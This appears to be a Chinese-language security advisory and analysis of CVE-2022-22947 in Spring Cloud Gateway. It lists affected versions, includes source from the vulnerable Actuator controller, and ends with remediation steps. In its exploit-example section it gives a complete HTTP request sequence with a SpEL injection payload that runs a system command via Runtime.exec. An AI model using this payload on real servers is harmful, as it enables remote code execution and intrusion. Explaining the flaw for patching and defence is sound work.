引言
VMware官方发布了一则安全通告,披露了Spring Cloud Gateway中存在一个高危的代码注入漏洞,漏洞编号为CVE-2022-22947。该漏洞允许远程攻击者通过发送恶意请求,在启用和暴露不安全的Gateway Actuator端点时,执行任意代码,甚至获取系统权限。本文将详细解析这一漏洞,并提供相应的修复建议。
漏洞描述
Spring Cloud Gateway是一个基于Spring Framework和Spring Boot构建的API网关,旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。然而,当应用程序使用Spring Cloud Gateway并对外暴露了Gateway Actuator端点时,就可能存在被CVE-2022-22947漏洞利用的风险。
攻击者可以通过发送特制的恶意请求,利用此漏洞执行SpEL(Spring Expression Language)表达式,从而在远程主机上执行任意代码。这一漏洞的利用过程通常涉及以下几个步骤:
- 发送恶意请求:攻击者通过HTTP请求向目标系统的Actuator/Gateway端点发送恶意构造的路由配置。
- 执行SpEL表达式:在路由配置中嵌入SpEL表达式,该表达式在解析时会执行任意代码。
- 刷新路由配置:通过发送刷新请求,使恶意路由配置生效。
- 获取执行结果:通过访问特定的路由,获取恶意代码的执行结果。
影响范围
该漏洞影响以下版本的Spring Cloud Gateway:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不再受支持的版本
此外,受影响的应用程序还需要使用Spring Boot Actuator组件,该组件用于对外提供/actuator/接口。
漏洞利用示例
以下是一个简单的漏洞利用示例,展示了如何通过发送恶意请求来执行系统命令:
- 发送恶意路由配置:
http
POST /actuator/gateway/routes/{id} HTTP/1.1
Host: xx.xx.xx.xx:xx
Content-Type: application/json
{
"id": "hacktest",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}
],
"uri": "http://example.com"
}
- 刷新路由配置:
http
POST /actuator/gateway/refresh HTTP/1.1
Host: xx.xx.xx.xx:xx
- 获取执行结果:
http
GET /actuator/gateway/routes/{id} HTTP/1.1
Host: xx.xx.xx.xx:xx
- 删除恶意路由配置(可选):
http
DELETE /actuator/gateway/routes/{id} HTTP/1.1
Host: xx.xx.xx.xx:xx
POST /actuator/gateway/refresh HTTP/1.1
Host: xx.xx.xx.xx:xx
源码
AbstractGatewayControllerEndpoint
public class AbstractGatewayControllerEndpoint implements ApplicationEventPublisherAware {
private static final Log log = LogFactory.getLog(GatewayControllerEndpoint.class);
protected RouteDefinitionLocator routeDefinitionLocator;
protected List<GlobalFilter> globalFilters;
// TODO change casing in next major release
protected List<GatewayFilterFactory> GatewayFilters;
protected List<RoutePredicateFactory> routePredicates;
protected RouteDefinitionWriter routeDefinitionWriter;
protected RouteLocator routeLocator;
protected ApplicationEventPublisher publisher;
public AbstractGatewayControllerEndpoint(RouteDefinitionLocator routeDefinitionLocator,
List<GlobalFilter> globalFilters, List<GatewayFilterFactory> gatewayFilters,
List<RoutePredicateFactory> routePredicates, RouteDefinitionWriter routeDefinitionWriter,
RouteLocator routeLocator) {
this.routeDefinitionLocator = routeDefinitionLocator;
this.globalFilters = globalFilters;
this.GatewayFilters = gatewayFilters;
this.routePredicates = routePredicates;
this.routeDefinitionWriter = routeDefinitionWriter;
this.routeLocator = routeLocator;
}
@Override
public void setApplicationEventPublisher(ApplicationEventPublisher publisher) {
this.publisher = publisher;
}
// TODO: Add uncommited or new but not active routes endpoint
@PostMapping("/refresh")
public Mono<Void> refresh() {
this.publisher.publishEvent(new RefreshRoutesEvent(this));
return Mono.empty();
}
@GetMapping("/globalfilters")
public Mono<HashMap<String, Object>> globalfilters() {
return getNamesToOrders(this.globalFilters);
}
@GetMapping("/routefilters")
public Mono<HashMap<String, Object>> routefilers() {
return getNamesToOrders(this.GatewayFilters);
}
@GetMapping("/routepredicates")
public Mono<HashMap<String, Object>> routepredicates() {
return getNamesToOrders(this.routePredicates);
}
private <T> Mono<HashMap<String, Object>> getNamesToOrders(List<T> list) {
return Flux.fromIterable(list).reduce(new HashMap<>(), this::putItem);
}
private HashMap<String, Object> putItem(HashMap<String, Object> map, Object o) {
Integer order = null;
if (o instanceof Ordered) {
order = ((Ordered) o).getOrder();
}
// filters.put(o.getClass().getName(), order);
map.put(o.toString(), order);
return map;
}
/*
* http POST :8080/admin/gateway/routes/apiaddreqhead uri=http://httpbin.org:80
* predicates:='["Host=**.apiaddrequestheader.org", "Path=/headers"]'
* filters:='["AddRequestHeader=X-Request-ApiFoo, ApiBar"]'
*/
@PostMapping("/routes/{id}")
@SuppressWarnings("unchecked")
public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {
return Mono.just(route).filter(this::validateRouteDefinition)
.flatMap(routeDefinition -> this.routeDefinitionWriter.save(Mono.just(routeDefinition).map(r -> {
r.setId(id);
log.debug("Saving route: " + route);
return r;
})).then(Mono.defer(() -> Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build()))))
.switchIfEmpty(Mono.defer(() -> Mono.just(ResponseEntity.badRequest().build())));
}
private boolean validateRouteDefinition(RouteDefinition routeDefinition) {
boolean hasValidFilterDefinitions = routeDefinition.getFilters().stream()
.allMatch(filterDefinition -> GatewayFilters.stream().anyMatch(
gatewayFilterFactory -> filterDefinition.getName().equals(gatewayFilterFactory.name())));
boolean hasValidPredicateDefinitions = routeDefinition.getPredicates().stream()
.allMatch(predicateDefinition -> routePredicates.stream()
.anyMatch(routePredicate -> predicateDefinition.getName().equals(routePredicate.name())));
log.debug("FilterDefinitions valid: " + hasValidFilterDefinitions);
log.debug("PredicateDefinitions valid: " + hasValidPredicateDefinitions);
return hasValidFilterDefinitions && hasValidPredicateDefinitions;
}
@DeleteMapping("/routes/{id}")
public Mono<ResponseEntity<Object>> delete(@PathVariable String id) {
return this.routeDefinitionWriter.delete(Mono.just(id))
.then(Mono.defer(() -> Mono.just(ResponseEntity.ok().build())))
.onErrorResume(t -> t instanceof NotFoundException, t -> Mono.just(ResponseEntity.notFound().build()));
}
@GetMapping("/routes/{id}/combinedfilters")
public Mono<HashMap<String, Object>> combinedfilters(@PathVariable String id) {
// TODO: missing global filters
return this.routeLocator.getRoutes().filter(route -> route.getId().equals(id)).reduce(new HashMap<>(),
this::putItem);
}
修复建议
为了修复这一漏洞,建议采取以下措施:
升级到安全版本:
对于Spring Cloud Gateway 3.1.x用户,应升级到3.1.1或更高版本。
对于Spring Cloud Gateway 3.0.x用户,应升级到3.0.7或更高版本。
禁用Gateway Actuator端点:
如果不需要Gateway Actuator端点,可以通过配置management.endpoint.gateway.enabled=false来禁用它。
使用Spring Security保护Actuator端点:
如果需要保留Actuator端点,应使用Spring Security对其进行保护,具体可参考Spring Boot官方文档。
结论
CVE-2022-22947漏洞是一个高危的代码注入漏洞,允许远程攻击者通过发送恶意请求在启用和暴露不安全的Gateway Actuator端点时执行任意代码。为了保障系统的安全性,建议受影响的用户尽快升级到安全版本的Spring Cloud Gateway,并采取相应的防护措施。同时,也应加强系统的安全监控和日志审计,以便及时发现和应对潜在的安全威胁。